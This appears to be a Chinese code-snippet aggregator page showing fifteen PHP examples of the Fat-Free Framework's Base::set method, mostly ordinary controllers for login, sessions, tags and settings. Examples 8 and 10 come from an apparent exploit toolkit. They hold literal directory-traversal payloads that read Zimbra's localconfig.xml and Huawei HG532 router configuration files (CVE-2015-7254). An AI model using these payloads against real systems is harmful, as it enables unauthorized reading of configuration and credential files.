本文整理汇总了PHP中Base::set方法的典型用法代码示例。如果您正苦于以下问题:PHP Base::set方法的具体用法?PHP Base::set怎么用?PHP Base::set使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类Base
的用法示例。
在下文中一共展示了Base::set方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: setAuthToken
/**
* set auth tokens
* @param $token
* @param $secret
*/
public function setAuthToken($token, $secret)
{
$this->authToken = $token;
$this->authSecret = $secret;
$this->f3->set('SESSION.dropbox.authToken', $this->authToken);
$this->f3->set('SESSION.dropbox.authSecret', $this->authSecret);
}
示例2: registerPost
/**
* POST /register
* @param \Base $fw
*/
function registerPost(\Base $fw)
{
try {
$token = \Helper\Api\User::register($fw->get('POST'));
$fw->set('COOKIE.session_token', $token);
$fw->reroute('/stream');
} catch (\Exception $e) {
$fw->set('error', $e->getMessage());
\App::error(403);
}
}
示例3: init
/**
* @param \Base $f3
*/
public function init($f3)
{
$character = $this->getCharacter();
// page title
$pageTitle = $character ? $character->name : 'Map';
$f3->set('pageTitle', $pageTitle);
// main page content
$f3->set('pageContent', false);
// body element class
$f3->set('bodyClass', 'pf-body');
// JS main file
$f3->set('jsView', 'mappage');
}
示例4: single
/**
* Single tag route (/tag/@tag)
* @param \Base $f3
* @param array $params
*/
public function single($f3, $params)
{
$tag = new \Model\Issue\Tag();
$tag->load(array("tag = ?", $params["tag"]));
if (!$tag->id) {
$f3->error(404);
return;
}
$issue = new \Model\Issue\Detail();
$issue_ids = implode(',', $tag->issues());
$f3->set("title", "#" . $params["tag"] . " - " . $f3->get("dict.issue_tags"));
$f3->set("tag", $tag);
$f3->set("issues.subset", $issue->find("id IN ({$issue_ids})"));
$this->_render("tag/single.html");
}
示例5: fatalError
/**
* Displays a fatal error message and exits.
*
* @param string $error the message to set
*/
protected function fatalError($error)
{
$this->f3->set('title', $this->t('Error'));
$this->f3->set('message', $error);
$tpl = new \Template();
print $tpl->render('page.html');
exit;
}
示例6: login
/**
* POST /login
* @param \Base $fw
* @return void
*/
public function login(\Base $fw)
{
if ($this->_getUser()) {
$fw->reroute('/dashboard');
}
$username = $fw->get('POST.username');
$password = $fw->get('POST.password');
$user = new \Model\User();
$user->load(array('username = ?', $username));
if ($user->id) {
if (password_verify($password, $user->password)) {
$fw->set('SESSION.user_id', $user->id);
$fw->reroute('/dashboard');
}
}
$fw->set('error', 'Invalid username or password.');
$this->_render('index.html');
}
示例7: foreach
function __construct()
{
$this->f3 = \Base::instance();
$config = $this->f3->get('MULTILANG');
//languages definition
if (!is_array(@$config['languages'])) {
user_error(self::E_NoLang, E_USER_ERROR);
}
foreach ($config['languages'] as $lang => $locales) {
if (is_array($locales)) {
$locales = implode(',', $locales);
}
if (!$this->languages) {
$this->f3->set('FALLBACK', $locales);
$this->primary = $lang;
}
$this->languages[$lang] = $locales;
$this->rules[$lang] = array();
}
//aliases definition
$this->_aliases = $this->f3->get('ALIASES');
if (is_array(@$config['rules'])) {
foreach ($config['rules'] as $lang => $aliases) {
$this->rules[$lang] = $aliases;
}
}
//global routes
if (isset($config['global'])) {
if (!is_array($config['global'])) {
$config['global'] = array($config['global']);
}
$prefixes = array();
foreach ($config['global'] as $global) {
if (@$global[0] == '/') {
$prefixes[] = $global;
} else {
$this->global_aliases[] = $global;
}
}
if ($prefixes) {
$this->global_regex = '#^(' . implode('|', array_map('preg_quote', $prefixes)) . ')#';
}
}
//migration mode
$this->migrate = (bool) @$config['migrate'];
//detect current language
$this->detect();
//rewrite existing routes
$this->rewrite();
//root handler
$self = $this;
//PHP 5.3 compatibility
$this->f3->route('GET /', @$config['root'] ?: function ($f3) use($self) {
$f3->reroute('/' . $self->current);
});
}
示例8: zimbra_lfi
/**
* Zimbra Collaboration Server URI Based LFI
* @param \Base $f3
*/
public function zimbra_lfi(\Base $f3)
{
$lfi = new Larfi();
$f3->set('exploit_title', 'Zimbra Collaboration server LFI (Versions: <=7.2.2 and <=8.0.2 )');
$this->response->data['SUBPART'] = 'lfi_page.html';
$blankurl = $f3->devoid('POST.url');
$url = $f3->get('POST.url');
$payload = "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00";
return $this->uri_based_lfi($blankurl, $url, $payload);
}
示例9: logout
/**
* GET|POST /logout
* @param \Base $fw
*/
function logout(\Base $fw)
{
if ($fw->get('COOKIE.session_token') == $fw->get('GET.session')) {
\Helper\Api\User::logout();
$fw->set('COOKIE.session_token', null);
$fw->reroute('/');
} else {
$fw->error(400);
}
}
示例10: huawei_lfi
/**
* Huawei_lfi
* cve-2015-7254
* Directory traversal vulnerability on Huawei HG532e, HG532n, and HG532s devices allows remote attackers to read arbitrary files via a .. (dot dot) in an icon/ URI.
* @param \Base $f3
* Alternative file read: http://<target_IP>:37215/icon/../../../etc/inittab.
*/
public function huawei_lfi(\Base $f3)
{
$lfi = new Larfi();
$f3->set('exploit_title', 'HUAWEI LFI (cve-2015-7254) Huawei HG532e, HG532n, & HG532s');
$this->response->data['SUBPART'] = 'lfi_page.html';
$blankurl = $f3->devoid('POST.url');
$url = $f3->get('POST.url');
$payload = ":37215/icon/../../../etc/defaultcfg.xml";
return $this->uri_based_lfi($blankurl, $url, $payload);
}
示例11: onePager
/**
* @param \Base $f3
*/
private function onePager($f3)
{
$contents = '';
$tree = $this->ptService->getTree();
foreach ($tree as $rootPage) {
$layoutClassName = $this->getLayoutClassForPage($rootPage);
$layout = new $layoutClassName(array($rootPage), $this->lang, $this->tree);
$contents .= $layout->doRender();
}
$f3->set('contents', $contents);
}
示例12: _setup
protected function _setup()
{
ini_set('max_execution_time', 60);
if ($this->_fw->get('DEBUG')) {
ini_set('display_errors', 1);
}
// Setup i18n
$i18n = I18n::instance();
$i18n->setLocale($this->getSession()->getLocale());
$i18n->setCurrencyCode($this->getSession('xhb')->getCurrencyCode());
// Set HTML lang according to defined locale
$this->_fw->set('HTML_LANG', $i18n->getLocaleCountryCodeISO2());
// Load XHB
$this->getSession('xhb')->set('xhb_file', $this->_xhbFile);
// Avoid decimal separator issues when casting double and float values to strings
setlocale(LC_NUMERIC, 'C');
if ($theme = $this->getSession()->getTheme()) {
Design::instance()->setTheme($theme);
}
Design::instance()->init();
if ($this->_xhbFile == 'data/example.xhb') {
$this->getSession()->addMessage($i18n->tr("It seems you're using the default <span class=\"mono\">example.xhb</span> file. " . "You may want to change it by editing <span class=\"mono\">etc/local.ini</span>."), Session::MESSAGE_INFO, array('no_escape' => true));
}
}
示例13: getList
/**
* display a list of post entries
* @param \Base $f3
* @param array $params
*/
public function getList(\Base $f3, $params)
{
$this->response->data['SUBPART'] = 'post_list.html';
$page = \Pagination::findCurrentPage();
if ($this->response instanceof \View\Backend) {
// backend view
$records = $this->resource->paginate($page - 1, 5, null, array('order' => 'publish_date desc'));
} else {
// frontend view
$tags = new Tag();
$f3->set('tag_cloud', $tags->tagCloud());
$this->resource->filter('comments', array('approved = ?', 1));
$this->resource->countRel('comments');
$records = $this->resource->paginate($page - 1, 10, array('publish_date <= ? and published = ?', date('Y-m-d'), true), array('order' => 'publish_date desc'));
}
$this->response->data['content'] = $records;
}
示例14: database
public function database(\Base $f3)
{
$this->response->data['SUBPART'] = 'settings_database.html';
$cfg = \Config::instance();
if ($f3->get('VERB') == 'POST' && $f3->exists('POST.active_db')) {
$type = $f3->get('POST.active_db');
$cfg->{'DB_' . $type} = $f3->get('POST.DB_' . $type);
$cfg->ACTIVE_DB = $type;
$cfg->save();
\Flash::instance()->addMessage('Config saved', 'success');
$setup = new \Setup();
$setup->install($type);
// logout
$f3->clear('SESSION.user_id');
}
$cfg->copyto('POST');
$f3->set('JIG_format', array('JSON', 'Serialized'));
}
示例15: profile
protected function profile(\Base $f3, $params)
{
$this->response->addTitle($f3->get('LN__AdminMenu_Profile'));
$f3->set('title_h3', $f3->get('LN__AdminMenu_Profile'));
if (isset($params[2])) {
$params = $this->parametric($params[2]);
}
if (isset($params['edit']) and is_numeric($params['edit'])) {
return TRUE;
}
// Get all available user fields
$fields = $this->model->listUserFields();
// Group array by field type
foreach ($fields as $field) {
$data[$field['field_type']][] = $field;
}
$this->buffer(\View\AdminCP::listUserFields($data));
}